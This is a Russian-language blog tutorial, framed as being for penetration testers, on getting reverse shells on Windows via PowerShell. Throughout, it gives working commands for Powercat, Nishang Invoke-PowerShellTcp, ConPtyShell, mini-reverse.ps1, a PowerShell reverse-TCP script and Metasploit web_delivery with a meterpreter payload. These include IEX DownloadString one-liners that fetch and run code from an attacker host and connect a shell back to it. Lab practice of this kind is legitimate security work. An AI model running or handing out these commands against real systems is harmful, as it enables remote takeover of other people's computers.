Найти в Дзене

PowerShell для Пентестеров - обратная оболочка Windows.

Здравствуйте, дорогие друзья.

Сегодня мы рассмотрим, как получить обратную оболочку с помощью сценариев Powershell на платформе Windows.

Содержание

· Powercat

· Invoke-PowerShellTcp

· ConPtyShell

· Мини-реверс

· PowerShell обратный TCP

· Web_delivery (Metasploit)

Требования:

Кали Линукс

Windows-машина

Powercat

Powercat — это базовая сетевая утилита для выполнения операций сетевой связи с низким уровнем привилегий. Powercat — это программа, которая предлагает возможности Netcat для всех текущих версий Microsoft Windows. Она имеет тенденцию использовать собственные компоненты PowerShell версии 2.

Нам нужно зайти на сайт, указанный ниже. Пользователи могут скачать утилиту по ссылке, поскольку это веб-сайт Github.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

Давайте перенесем этот файл с помощью Python, нам необходимо запустить сервер Python.

python -m SimpleHTTPServer 80

-2

Пользователи должны запустить прослушиватель Netcat на порту 4444 для получения обратного соединения с помощью команды:

nc -vlp 4444

Итак, теперь нам нужно загрузить наш компьютер с Windows и запустить команду PowerShell в командной строке (CMD). Обратите внимание, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"

-3

Вы получите обратную оболочку в прослушивателе Netcat после выполнения команды. Вы можете использовать команду whoami, чтобы увидеть, получаем ли мы правильную оболочку. Это сообщит Вам тип учетной записи пользователя, вошедшего в систему.

-4

Invoke-PowerShellTcp

Этот сценарий PowerShell можно использовать для обратного или привязки интерактивного PowerShell. Чтобы связать сценарий с портом, нам нужно использовать прослушиватель Netcat.

Этот веб-сайт, упомянутый ниже, следует посетить.

Поскольку это веб-сайт Github, Вам действительно следует скачать файл по ссылке:

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Через wget скрипт скачивается, и теперь нам предстоит передать этот файл через сервер Python.

python -m SimpleHTTPServer 80

-5

Чтобы получить обратное соединение, нам следует сначала запустить прослушиватель Netcat на порту 4444.

nc -vlp 4444

Пользователи должны запустить следующую команду в командной строке компьютера с Windows. Это поможет выполнить файл PowerShell.

Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.3 -Port 4444

-6

После запуска скрипта мы также получим обратную оболочку в прослушивателе Netcat.

Используйте команду «whoami», возможно, у нас просто правильный обратный шелл. Это сообщит Вам тип учетной записи пользователя, вошедшего в систему.

-7

ConptyShell

ConptyShell — это интерактивная обратная оболочка сервера Windows. ConPtyShell преобразует Вашу оболочку bash в удаленную оболочку PowerShell. CreatePseudoConsole() — это функция ConptyShell, которая впервые использовалась, и она создает Pseudo Console и оболочку, к которой Pseudo Console подключается с помощью ввода/вывода.

Пользователям необходимо перейти на веб-сайт, указанный ниже.

Поскольку это веб-сайт Github, Вам необходимо скачать файл по ссылке.

wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1

Как запускаем ссылку, скрипт скачивается, и теперь нам предстоит передать этот файл через сервер Python.

python -m SimpleHTTPServer 80

-8

Запустите прослушиватель Netcat на порту 4444 для получения обратного соединения.

stty raw -echo; (stty size; cat) | nc -lvnp 4444

-9

Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это поможет в выполнении файла ConPtyShell.

Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.1.3 4444

-10

Мы видим, что псевдофункция создана, и после использования команды мы получаем полностью интерактивную оболочку.

-11

mini-reverse.ps1

С помощью небольшого мини-реверсивного скрипта мы получим обратную оболочку.

Этот веб-сайт, указанный ниже, необходимо посетить, и, поскольку это веб-сайт Github, мы должны загрузить файл по ссылке.

wget https://gist.githubusercontent.com/Serizao/6a63f35715a8219be6b97da3e51567e7/raw/f4283f758fb720c2fe263b8f7696b896c9984fcf/mini-reverse.ps1

-12

Мы должны изучить код внутри скрипта и изменить указанный там IP-адрес на наш локальный IP-адрес (IP-адрес Kali).

Закончив внесение изменений, сохраните файл и запустите сервер Python.

python -m SimpleHTTPServer 80

-13

Чтобы получить обратное соединение, необходимо сначала запустить прослушиватель Netcat на порту 4444.

nc -nvlp 4444

Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это облегчит выполнение мини-обратного файла. Имейте в виду, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить обратную оболочку.

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/mini-reverse.ps1')

-14

Получаем обратную оболочку в слушателе Netcat:

-15

PowerShell обратный TCP

Теперь просто используйте сценарий PowerShell для связи с удаленным хостом. Вместо процессов, все оболочки в этой среде используют команду Invoke-Expression. Удаленный хост всегда имеет полный контроль над клиентом.

Нам нужно перейти на сайт, указанный ниже. Это сайт Github, вам необходимо скачать файл по ссылке:

wget https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1

-16

Когда скрипт будет загружен, просто проверьте его код и замените указанный там IP-адрес на наш локальный IP-адрес (IP-адрес Kali). После внесения изменений сохраните файл и запустите сервер Python.

python -m SimpleHTTPServer 80

-17

После этого запустите прослушиватель Netcat на порту 9000 для получения обратного соединения.

nc -vlp 9000

Мы должны запустить следующую команду, в командной строке компьютера с Windows. Это поможет нам запустить обратный файл tcp.ps1. Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить обратную оболочку.

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/powershell_reverse_tcp.ps1')

-18

Как только команда будет выполнена, мы получим обратный шелл.

-19

Web_Delivery

Этот эксплойт использует Metasploit Framework, а целевыми операционными системами являются Windows и Linux. Эта атака использует полезную нагрузку.

Полезная нагрузка:

Полезные нагрузки - это вредоносные сценарии, которые злоумышленник использует для взаимодействия с целевой машиной для осуществления атаки. В Metasploit файлы полезной нагрузки хранятся в модулях.

Исполняемая полезная нагрузка:

Пользователям следует запустить платформу Metasploit и выполнить поиск по запросу «web delivery». Нам будет предоставлено два варианта полезной нагрузки, и мы должны выбрать тот, который содержит скрипт web delivery.

exploit/multi/script/web delivery

Начните искать цели, используя «show targets», чтобы мы увидели около 5 целей, которые помогают генерировать код для создания бэкдора. Затем выберите вторую цель и используйте команду:

set target 2

и используйте команды ниже, чтобы установить полезную нагрузку и lhost, lport, а затем использовать их.

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.1.3

set lport 8888

exploit

-20

Код, который мы получим после запуска скрипта нужно просто скопировать и запустить его на нашей машине с Windows. После завершения выполнения установите сеанс на

sessions 1

У Вас будет оболочка meterpreter, и Вы легко получите информацию об этой оболочке с помощью следующей команды.

sysinfo

-21

На этом все. Всем хорошего дня!